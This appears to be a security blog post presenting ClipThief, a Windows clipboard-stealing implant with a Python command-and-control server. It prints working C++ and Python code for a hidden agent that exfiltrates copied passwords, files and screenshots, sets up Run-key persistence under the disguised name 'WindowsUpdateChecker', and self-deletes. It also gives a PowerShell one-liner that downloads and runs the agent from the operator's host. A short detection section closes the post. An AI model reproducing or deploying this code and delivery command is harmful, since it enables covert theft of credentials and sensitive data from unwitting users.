ClipThief - Building a Windows Clipboard Exfiltration Tool for Red Team Operations

ClipThief - Building a Windows Clipboard Exfiltration Tool for Red Team Operations

1
2
3
4
5
6
7
8
9
10
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⣿⣿
⡿⠟⠫⠋⢉⣁⣉⡉⠉⠉⠋⠛⣿⣿⣿⡛⠋⠋⠉⠉⣁⣈⣉⡐⠩⠛⢻
⣷⣦⣶⣿⡿⠯⠭⠭⠭⠭⣝⢻⣿⣿⣿⡿⢫⠭⠭⠭⠭⠭⠿⣿⣷⣦⣼
⣿⣿⣿⣩⡚⠃⢀⠀⡘⠌⢻⣸⣿⣿⣿⣷⣼⣋⢚⢀⣀⢀⠛⣊⣽⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ Be careful what you copy.
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣼⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢋⣿⡟⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⢙⣛⣛⣛⣛⣛⣛⣛⣉⣩⣭⣴⣾⣿⣿⢣⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣼⣿⣿⣿⣿

Introduction

Clipboard data is one of the most overlooked attack surfaces in enterprise environments. On any given workday, an end user will copy and paste credentials from a password manager, a database connection string from internal documentation, a one-time VPN token, or a sensitive spreadsheet path. None of these actions generate alerts. None of them require elevated privileges to intercept.

ClipThiefis a Windows clipboard monitoring tool I developed in 2022 for red team drills and security research. It consists of a silent C++ agent running on the target system and a Python-based C2 server (thanks to Claude ❤️) with a rich terminal interface.

  1. Operationally clean (no console window, standard user privileges, minimal disk footprint)
  2. Easy to deploy (single PowerShell one-liner)
  3. Easy to clean up (self-destruct command, registry cleanup)
  4. Useful for demonstrating detection gaps to blue teams

Everything in this post applies to authorized environments only.


Threat Model: Why Clipboard?

Before diving into implementation, it is worth establishing why clipboard monitoring is a high-value technique for a red team operator.

What ends up on the clipboard?

During a standard workday in an enterprise environment:

Clipboard Content Source Sensitivity
Password from password manager KeePass, 1Password, Bitwarden Critical
One-time VPN/MFA token Authenticator app Critical
Database connection string Internal wiki, IDE High
SSH private key passphrase Terminal High
Internal IP/hostname list Monitoring dashboard Medium
Copied file (salary data, client list) Windows Explorer High
Screenshot of restricted document Snipping Tool High
SQL query against production DB DBeaver, SSMS Medium

None of these actions trigger an alert. No EDR solution fires on Ctrl+C.

Privilege requirements

AddClipboardFormatListener() — the Win32 API used to monitor clipboard changes — requires no special privileges. It works under a standard domain user account. The agent writes its identity to HKCU (no admin required). Persistence is also established entirely within HKCU via a Registry Run key — no schtasks, no UAC prompt, no elevated process required.

Stealth characteristics

The agent is compiled with SubSystem=Windows (WinMain entry point), which means no console window appears at runtime. It is invisible in the taskbar and Alt+Tab. It appears only in Task Manager as bingo.exe — a process name that can trivially be changed per engagement.


Architecture Overview

ClipThief follows a classic implant/C2 architecture:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─────────────────────────────┐          HTTP/JSON          ┌──────────────────────────────────┐
│ AGENT (C++) │ ──────────────────────────► │ C2 SERVER (Python) │
│ │ │ │
│ WinMain (Windows subsys.) │ POST /api/agent/register │ Flask REST API (daemon thread) │
│ ├─ LoadOrCreateAgentId() │ POST /api/agent/<id>/clip │ ├─ SQLite WAL (c2_data.db) │
│ ├─ RegisterAgent() │ GET /api/agent/<id>/cmd │ ├─ In-memory agents{} │
│ ├─ AddClipboardListener() │ ◄────────────────────────── │ ├─ Heartbeat monitor (daemon) │
│ ├─ WndProc (message loop) │ {"command":"kill|persist"} │ ├─ Agent Builder (startup) │
│ └─ CommandPollThread() │ │ └─ Rich Terminal UI (main) │
│ │ GET /agent/bingo.exe │ │
│ Clipboard Formats: │ ◄────────────────────────── │ Threads: │
│ ├─ CF_UNICODETEXT (text) │ [EXE binary download] │ ├─ flask (daemon) │
│ ├─ CF_HDROP (files) │ │ ├─ heartbeat (daemon) │
│ └─ CF_DIB (images → BMP) │ │ └─ main (UI loop) │
└─────────────────────────────┘ └──────────────────────────────────┘

Key design decisions:

  • No separate heartbeat endpoint. The agent polls for commands every 3 seconds; this polling request implicitly updates last_seen on the C2. Zero extra network traffic.
  • Auto-compilation. The C2 server compiles bingo.exe at startup, injecting the operator’s IP and port directly into the source. No manual build step.
  • Single-file components. The agent is one .cpp file. The C2 is one .py file. Easy to audit, easy to modify per engagement.
  • WAL-mode SQLite. Multiple threads (Flask daemon + UI thread) access the database concurrently. WAL mode prevents write contention without an ORM.

The Agent: C++ Deep Dive

Build Configuration

Setting Value
Toolset MSVC v143 (Visual Studio 2022)
Platform x64
Subsystem Windows — no console window
Character Set Unicode
Entry Point WinMain

The subsystem choice is the single most important stealth property. With SubSystem=Windows, the OS does not allocate a console for the process. The agent runs silently in the background.

Dependencies are declared via #pragma comment(lib, ...) directly in the source file, so no project-level linker settings need to be maintained:

1
2
3
4
5
6
#include <winsock2.h>   // ws2_32.lib  — must come before windows.h
#include <ws2tcpip.h> // getaddrinfo, inet_ntop
#include <windows.h> // Win32 API core
#include <wininet.h> // wininet.lib — HTTP
#include <shellapi.h> // shell32.lib — DragQueryFile (CF_HDROP)
#include <rpc.h> // rpcrt4.lib — UuidCreate, UuidToStringA

One non-obvious choice: using rpc.h instead of objbase.h for UUID generation. When WIN32_LEAN_AND_MEAN is defined, windows.h strips OLE/COM headers, making CoCreateGuid unavailable. UuidCreate from the RPC library is unaffected by this macro and achieves the same result with no additional dependencies.


Agent Identity & Registry Persistence

Every agent instance needs a stable identity so the C2 can correlate clipboard entries across sessions, even if the agent restarts.

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ClipAgent
└─ AgentID : REG_SZ = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"

On first run, UuidCreate() generates a cryptographically random RFC 4122 UUID. It is written to HKCU and read on every subsequent run. HKCU was chosen over HKLM deliberately — standard users have write access to their own hive without privilege escalation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static std::string LoadOrCreateAgentId() {
HKEY hKey;
if (RegCreateKeyExA(HKEY_CURRENT_USER, REG_PATH, 0, nullptr,
REG_OPTION_NON_VOLATILE, KEY_READ | KEY_WRITE,
nullptr, &hKey, nullptr) != ERROR_SUCCESS)
return GenerateUUID(); // fallback — no persistence

char buf[64] = {};
DWORD sz = sizeof(buf);
DWORD type = REG_SZ;

if (RegQueryValueExA(hKey, "AgentID", nullptr, &type,
(LPBYTE)buf, &sz) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return std::string(buf); // existing ID
}

// First run: generate and store
std::string id = GenerateUUID();
RegSetValueExA(hKey, "AgentID", 0, REG_SZ,
(const BYTE*)id.c_str(), (DWORD)id.size() + 1);
RegCloseKey(hKey);
return id;
}

Clipboard Monitoring via Win32 Message Queue

The standard approach to clipboard monitoring on Windows is AddClipboardFormatListener(). This API registers a window handle to receive WM_CLIPBOARDUPDATE messages whenever the clipboard contents change.

The agent creates a message-only window (HWND_MESSAGE parent) — a window that exists purely to receive messages, with no visual representation, no taskbar entry, and no Alt+Tab presence:

1
2
3
4
5
6
7
8
9
10
11
g_hwnd = CreateWindowExW(
0,
L"ClipThiefWnd", // registered class name
L"",
0, // no style — invisible
0, 0, 0, 0,
HWND_MESSAGE, // message-only window
NULL, hInstance, NULL
);

AddClipboardFormatListener(g_hwnd);

The message loop then dispatches WM_CLIPBOARDUPDATE to HandleClipboardUpdate():

1
2
3
4
5
6
7
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) {
switch (msg) {
case WM_CLIPBOARDUPDATE: HandleClipboardUpdate(); return 0;
case WM_DESTROY: PostQuitMessage(0); return 0;
}
return DefWindowProcW(hwnd, msg, wp, lp);
}

AddClipboardFormatListener is preferred over the older SetClipboardViewer API because it does not require maintaining a clipboard viewer chain — far simpler and less fragile.


Data Formats: Text, File, Image

The handler checks for three clipboard formats in priority order:

1
2
3
4
5
6
7
8
9
10
11
WM_CLIPBOARDUPDATE

├─ CF_UNICODETEXT present?
│ └─ YES → GlobalLock → WideCharToMultiByte(CP_UTF8) → Base64 → POST "text"

├─ CF_HDROP present? (file copy)
│ └─ YES → DragQueryFile → up to 5 paths
│ foreach file: ifstream binary → max 50 MB → Base64 → POST "file"

└─ CF_DIB present? (screenshot / image)
└─ YES → DibToBmp() → BMP bytes → Base64 → POST "image"

Why CF_UNICODETEXT instead of CF_TEXT?
CF_TEXT is ANSI and will corrupt non-Latin characters (Turkish, Arabic, CJK). CF_UNICODETEXT provides the full UTF-16 buffer. WideCharToMultiByte(CP_UTF8) converts it losslessly to UTF-8 before Base64 encoding.

DIB to BMP conversionCF_DIB contains a raw BITMAPINFOHEADER followed by pixel data, without the BITMAPFILEHEADER that makes it a valid .bmp file. The agent reconstructs the header in-memory before encoding:

1
2
3
4
5
BITMAPFILEHEADER bfh   = {};
bfh.bfType = 0x4D42; // 'BM'
bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + bih->biSize + colorTableSize;
bfh.bfSize = sizeof(BITMAPFILEHEADER) + dataSize;
// Prepend header to DIB data → single buffer → Base64 → POST

No GDI+, no libpng, no external dependency — just pointer arithmetic and a well-specified format.


HTTP Communication with WinINet

All agent-to-C2 communication uses WinINet, the built-in Windows HTTP client. No third-party networking library is required.

1
2
3
4
5
6
InternetOpenA()           → open HINTERNET session
└─ InternetConnectA() → connect to C2_HOST:C2_PORT
└─ HttpOpenRequestA("POST" | "GET", path)
└─ HttpSendRequestA(headers, body)
└─ InternetReadFile() loop → read response
└─ all handles closed via InternetCloseHandle

The C2 host and port are defined as constants that the C2’s build_agent() function overwrites via regex before compiling:

1
2
3
static const char* C2_HOST = "127.0.0.1";  // overwritten at build time
static const int C2_PORT = 5000; // overwritten at build time
static const int POLL_MS = 3000; // command polling interval (ms)

Command Polling Thread

A background thread polls the C2 for pending commands every 3 seconds. This same request serves as the heartbeat — no separate keepalive is needed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static DWORD WINAPI CommandPollThread(LPVOID) {
std::string path = "/api/agent/" + g_agentId + "/command";
while (g_running) {
Sleep(POLL_MS);
std::string resp;
if (HttpGet(path, resp)) {
std::string cmd = JsonGetString(resp, "command");
if (cmd == "kill") SelfDestruct(); // does not return
if (cmd == "persist") AddPersistence();
// "none" → continue
}
}
return 0;
}

The C2 stores pending commands in an in-memory map (pending_cmds). A command is consumed on delivery — the next poll will receive "none" unless a new command has been queued.


Persistence via Registry Run Key

When the operator sends the persist command, the agent writes directly to the HKCU Run registry key — no schtasks.exe, no child process, no UAC prompt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void AddPersistence()
{
char exePath[MAX_PATH] = {};
GetModuleFileNameA(NULL, exePath, MAX_PATH);

HKEY hKey = NULL;
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegSetValueExA(hKey, TASK_NAME, 0, REG_SZ,
(const BYTE*)exePath, (DWORD)(strlen(exePath) + 1));
RegCloseKey(hKey);
}
}

This writes a REG_SZ value named WindowsUpdateChecker under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, pointing to the agent’s current EXE path. Windows executes every value under this key at user logon — no elevation, no task scheduler service dependency.

Why Run key instead of Scheduled Task?

Approach Privilege required Process spawned Detectable via
schtasks /create Standard user schtasks.exe (visible) Process creation + Event 4698
Registry Run key Standard user None Registry write only

The Run key approach is quieter: it leaves no schtasks.exe process event, no Task Scheduler XML on disk, and no Event ID 4698. The only artifact is the registry value itself.

Cleanup — the SelfDestruct() function removes the Run key value automatically alongside the AgentID key. For manual removal:

1
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateChecker" /f

Self-Destruct

The KILL command triggers a multi-step self-destruct sequence:

1
2
3
4
5
6
7
8
1. RegDeleteKeyA(HKCU, REG_PATH)     → remove AgentID from registry
2. GetModuleFileNameA() → get own EXE path
3. Write %TEMP%\cleanup_<PID>.bat:
ping 127.0.0.1 -n 4 >nul → wait ~3s for process to exit
del /f /q "<exePath>" → delete the EXE
del /f /q "%~f0" → delete the batch file itself
4. ShellExecuteA("open", batPath, SW_HIDE)
5. ExitProcess(0)

Known limitation: ShellExecuteA with a .bat file is unreliable on Windows 10/11 — it may silently fail. A more robust approach would use CreateProcess with cmd.exe /C ping ... & del ... and CREATE_NO_WINDOW. This is documented as a known constraint in the project.


The C2 Server: Python Deep Dive

The C2 server is a single Python file (~900 lines) using Flask for the REST API, Rich for the terminal UI, and SQLite for persistence.

4.1 Auto-Compilation: Building the Agent at Runtime

One of the more operationally convenient features: the C2 compiles bingo.exe at startup, injecting the correct C2 IP and port into the source before building. This means the operator never needs to open Visual Studio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def build_agent(c2_ip: str, c2_port: int) -> Path | None:
msbuild = _find_msbuild()

with tempfile.TemporaryDirectory() as tmp:
tmp = Path(tmp)

# Read source, inject C2 coordinates via regex
cpp_text = CPP_SRC.read_text(encoding="utf-8")
cpp_text = re.sub(
r'(static const char\*\s+C2_HOST\s*=\s*)"[^"]*"',
rf'\g<1>"{c2_ip}"',
cpp_text,
)
cpp_text = re.sub(
r'(static const int\s+C2_PORT\s*=\s*)\d+',
rf'\g<1>{c2_port}',
cpp_text,
)

# Write modified source to temp dir, copy vcxproj
(tmp / "ClipboardDump.cpp").write_text(cpp_text, encoding="utf-8")
shutil.copy2(VCXPROJ_SRC, tmp / "ClipboardDump.vcxproj")
(tmp / "out").mkdir()

# Invoke MSBuild silently
result = subprocess.run([
str(msbuild), str(tmp / "ClipboardDump.vcxproj"),
"/p:Configuration=Release",
"/p:Platform=x64",
f"/p:OutDir={tmp / 'out' / ''}",
"/nologo", "/verbosity:quiet",
], capture_output=True, text=True, cwd=str(tmp))

if result.returncode != 0:
log.error(f"BUILD FAILED exit={result.returncode}\n{result.stdout}")
return None

dest = AGENTS_DIR / "bingo.exe"
shutil.copy2(exe, dest)
return dest

_find_msbuild() first tries vswhere.exe (the official VS installation locator), then falls back to probing known paths for VS 2022/2019 across Community, Professional, Enterprise, and BuildTools editions.


REST API Endpoints

Method Endpoint Description
POST /api/agent/register Agent check-in with system info
POST /api/agent/<id>/clipboard Clipboard data submission
GET /api/agent/<id>/command Command polling (also updates last_seen)
GET /agent/bingo.exe Serve compiled agent binary

Register payload:

1
2
3
4
5
6
7
{
"id": "a1b2c3d4-e5f6-...",
"user": "jsmith",
"hostname": "DESKTOP-CORP01",
"ip": "10.10.5.42",
"os": "Windows 10.0 Build 19045"
}

Clipboard payload:

1
2
3
4
5
{
"type": "text",
"content": "<base64-encoded UTF-8>",
"filename": ""
}

The type field is one of "text", "image", or "file". For files and images, filename carries the original name or a generated one (clipboard.bmp).

Command response:

1
{"command": "none"}   // or "kill" | "persist"

Commands are single-delivery: consumed from pending_cmds on the first poll after queuing.


4.3 SQLite Schema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CREATE TABLE agents (
id TEXT PRIMARY KEY, -- UUID from rpc.h UuidCreate
user TEXT,
hostname TEXT,
ip TEXT,
os TEXT,
first_seen TEXT, -- ISO datetime string
last_seen TEXT, -- updated every poll
status TEXT -- "active" | "dead"
);

CREATE TABLE clipboard_entries (
rowid INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL REFERENCES agents(id),
seq INTEGER NOT NULL, -- per-agent monotonic sequence
type TEXT NOT NULL, -- "text" | "image" | "file"
content TEXT NOT NULL, -- Base64-encoded payload
filename TEXT,
timestamp TEXT NOT NULL
);

The database runs in WAL mode (PRAGMA journal_mode=WAL) so the Flask daemon thread and the main UI thread can read and write concurrently without blocking each other.


4.4 Heartbeat Monitor

A background thread checks agent liveness every 5 seconds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def _heartbeat_monitor():
while True:
time.sleep(5)
now = datetime.now()
with db_lock:
for agent_id, a in agents.items():
if a["status"] == "dead":
continue
elapsed = (now - datetime.strptime(
a["last_seen"], "%Y-%m-%d %H:%M:%S"
)).total_seconds()
if elapsed > AGENT_TIMEOUT_SEC: # default: 10s
a["status"] = "dead"
db_upsert_agent(a)
log.warning(f"AGENT DEAD id={agent_id} elapsed={int(elapsed)}s")

Timeline after a KILL command is sent:

Time Event
t=0s Operator sends KILL, command queued in pending_cmds
~t=3s Agent polls, receives "kill", begins self-destruct
~t=13s Heartbeat monitor detects polling has stopped
~t=15s Terminal shows [!] AGENT DEAD notification

Logging System

Each C2 session creates a new timestamped log file under C2/logs/. Previous session logs are preserved.

1
2
3
4
5
6
7
8
9
2026-04-22 14:30:00  INFO      SERVER START    listen=0.0.0.0:5000  agent_ip=192.168.1.100
2026-04-22 14:30:08 INFO BUILD OK output=agents\bingo.exe size=98,304 bytes
2026-04-22 14:32:11 INFO AGENT NEW id=a1b2c3... user=jsmith hostname=CORP-PC01
2026-04-22 14:32:15 INFO CLIPBOARD id=a1b2c3... type=text seq=1 preview='SELECT * FROM users'
2026-04-22 14:35:00 INFO AGENT DOWNLOAD bingo.exe served src=10.0.0.10
2026-04-22 14:40:00 INFO COMMAND QUEUED id=a1b2c3... command=kill by=operator
2026-04-22 14:40:03 INFO COMMAND SENT id=a1b2c3... command=kill
2026-04-22 14:40:15 WARNING AGENT DEAD id=a1b2c3... elapsed=12s
2026-04-22 16:00:00 INFO SERVER STOP operator quit

The log serves as the primary post-engagement audit trail. The logs/ directory should be manually cleared after each authorized exercise.


Full Attack Flow: A Red Team Scenario

Scope: Internal red team exercise, isolated lab network, written authorization in place.

Step 1 — Operator starts the C2

1
2
cd C2
python c2_server.py --agent-ip 10.10.1.5 --port 5000

Output:

1
2
3
4
5
6
7
8
9
10
[*] Database: C:\...\C2\c2_data.db  (0 agents loaded)
[*] Building bingo.exe ...
[+] Agent ready: C:\...\C2\agents\bingo.exe

╭── PowerShell One-Liner ──────────────────────────────────────────╮
│ $p="$env:TEMP\bingo.exe";(New-Object Net.WebClient).DownloadFile( │
│ 'http://10.10.1.5:5000/agent/bingo.exe',$p);Start-Process $p │
╰────────────────────────────────────────────────────────────────────╯

Press Enter to start C2...

Step 2 — Deploy to target

The operator delivers the PowerShell one-liner via an existing foothold (phishing simulation, initial access broker, lateral movement):

1
2
3
$p="$env:TEMP\bingo.exe"
(New-Object Net.WebClient).DownloadFile('http://10.10.1.5:5000/agent/bingo.exe', $p)
Start-Process $p

bingo.exe downloads silently, writes its UUID to HKCU, and registers with the C2.

Step 3 — Operator receives notification

1
2
3
4
5
6
7
8
9
10
11
12
╭────────────────────────────────────────────────────────╮
│ │
│ ★ NEW AGENT CONNECTED ★ │
│ │
│ ID : a1b2c3d4-e5f6-... │
│ User : jsmith │
│ Hostname: CORP-LAPTOP-07 │
│ IP : 10.10.5.42 │
│ OS : Windows 10.0 Build 19045 │
│ Time : 2026-04-22 14:32:11 │
│ │
╰────────────────────────────────────────────────────────╯

Step 4 — Target user performs normal work

The user opens their password manager, copies a credential. Copies a SQL query from DBeaver. Screenshots a restricted internal dashboard and pastes it into a document. Each action silently flows into the C2:

1
2
3
4
[TXT]  SELECT * FROM payroll WHERE department='engineering'
[IMG] clipboard.bmp ← screenshot of finance dashboard
[FILE] Q1_client_contracts.xlsx ← copied from network share
[TXT] Password123!@# ← copied from password manager

Step 5 — Operator establishes persistence

Sending PERSIST writes WindowsUpdateChecker to HKCU\...\Run. The agent will restart automatically on every user logon — no scheduled task, no elevated process, no Event ID 4698.

Step 6 — Cleanup

At exercise end:

1
2
3
4
5
6
7
8
Agent side:
KILL command → registry deleted, EXE self-deletes (best effort)
Verify: → "reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateChecker" /f

C2 side:
DB wipe → Main Menu → [D] → [1] → y
Log files → del C2\logs\*.log
Agent EXE → del C2\agents\bingo.exe

6. Detection & Defense

MITRE ATT&CK Mapping

Stage Technique TTP ID
Delivery PowerShell download cradle T1059.001, T1105
Execution Binary from TEMP T1204.002
Collection Clipboard monitoring T1115
Persistence Registry Run key (WindowsUpdateChecker) T1547.001
C2 HTTP long-poll beaconing T1071.001
Registry HKCU identity marker T1112
Defense Evasion No console window, standard user T1564.003
Cleanup Self-destruct batch file T1070.004

Hardening Recommendations

  • Endpoint DLP: Monitor CF_UNICODETEXT access by processes outside the approved whitelist (browser, Office, etc.). Windows Defender Application Guard can isolate clipboard access per application.
  • Process integrity: Alert on executables running from %TEMP% that initiate outbound HTTP connections.
  • Scheduled task auditing: Windows Event ID 4698 (Task Created) with names matching *Update*Checker* or *Windows*Update*.
  • Registry monitoring: Watch for writes to HKCU\Software\Microsoft\Windows\CurrentVersion\* from processes running in %TEMP%.
  • Network behavior: A process making HTTP requests every 3 seconds to a non-standard port is a reliable beacon signature even without process name matching.

8. Conclusion

Clipboard data exfiltration is a technique with a low barrier to entry and a high detection gap in most enterprise environments. It requires no privilege escalation, no kernel driver, no AV bypass — just a message-only window and three Win32 API calls.

ClipThief was built to make this concrete for defenders: a working implementation that a red team can deploy in an authorized exercise and that a blue team can use to validate their detection stack.

The full source is available at github.com/erberkan/ClipThief.


Disclaimer: This tool is intended exclusively for authorized penetration testing, red team exercises, and security research. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and unethical.


Berkan Er (@erberkan) — B3R-SEC